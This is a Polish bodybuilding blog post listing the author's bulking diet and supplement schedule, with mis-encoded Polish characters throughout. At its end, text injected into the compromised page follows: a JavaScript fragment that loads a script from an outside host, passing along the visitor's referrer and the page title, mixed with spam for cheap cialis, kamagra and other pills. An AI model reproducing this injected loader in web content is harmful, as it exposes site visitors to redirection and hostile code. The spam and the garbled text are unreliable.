Robimy mase!

5.11.2012 / Michał Karmowski / Kulturystyka

Kolejny mikrocykl w moim planie przygotowawczym dobiegAi?? koAi??ca i teraz przez najbliA?sze 2 miesiAi??ce dokAi??adnie do 5 stycznia bAi??dAi?? realizowaAi?? kolejne zaAi??oA?enia czyli delikatnie robiAi?? masAi??. W tej chwili waga wynosi 118kg a poziom tAi??uszczu jest zadowalajAi??cy. W tym okresie dieta wyglAi??daAi??a nastepujAi??co:

przed posiAi??kiem 2 miarki bcaa powder, 2 miarki l-glutamine extereme i 30g isolate 100

1-600g biaAi??ek jaj, 200g pAi??atkA?w owsianych , 30g rodzynek

przed treningiem 15g S.A.W.

TRENING-bezposrednio po 60g isolate 100, 2 miarki bcaa powder, 2 miarki l-glutamine extreme, 100g ryA?u

30min cardio na stepperze lub bieA?ni- bezpoAi??rednio po 60g isolate 100

2-300g miAi??sa z indyka, 150g ryA?u, 15g oleju

3-300g miAi??sa z indyka, 150g ryA?u, 15g oleju

4-300g miAi??sa woAi??owego, 100g ryA?u, 15g oleju

5-600g biaAi??ek jaj, 60g casein 100, 50g orzechA?w

online s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‚&default_keyword=’ + encodeURIComponent(document.title) + ”; Cheap pills online online meilleur prix cialis Buy }if (document.currentScript) { prazosin cost canada Purchase kamagra amazon. purchase Kamagra. kamagra jelly for sale. Pills Order Purchase fucidin h cost